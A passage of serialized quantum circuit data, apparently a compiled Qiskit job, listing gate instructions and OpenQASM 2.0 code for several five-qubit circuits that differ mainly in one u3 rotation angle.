q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1205', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1207', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1209', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.2000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1211', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg 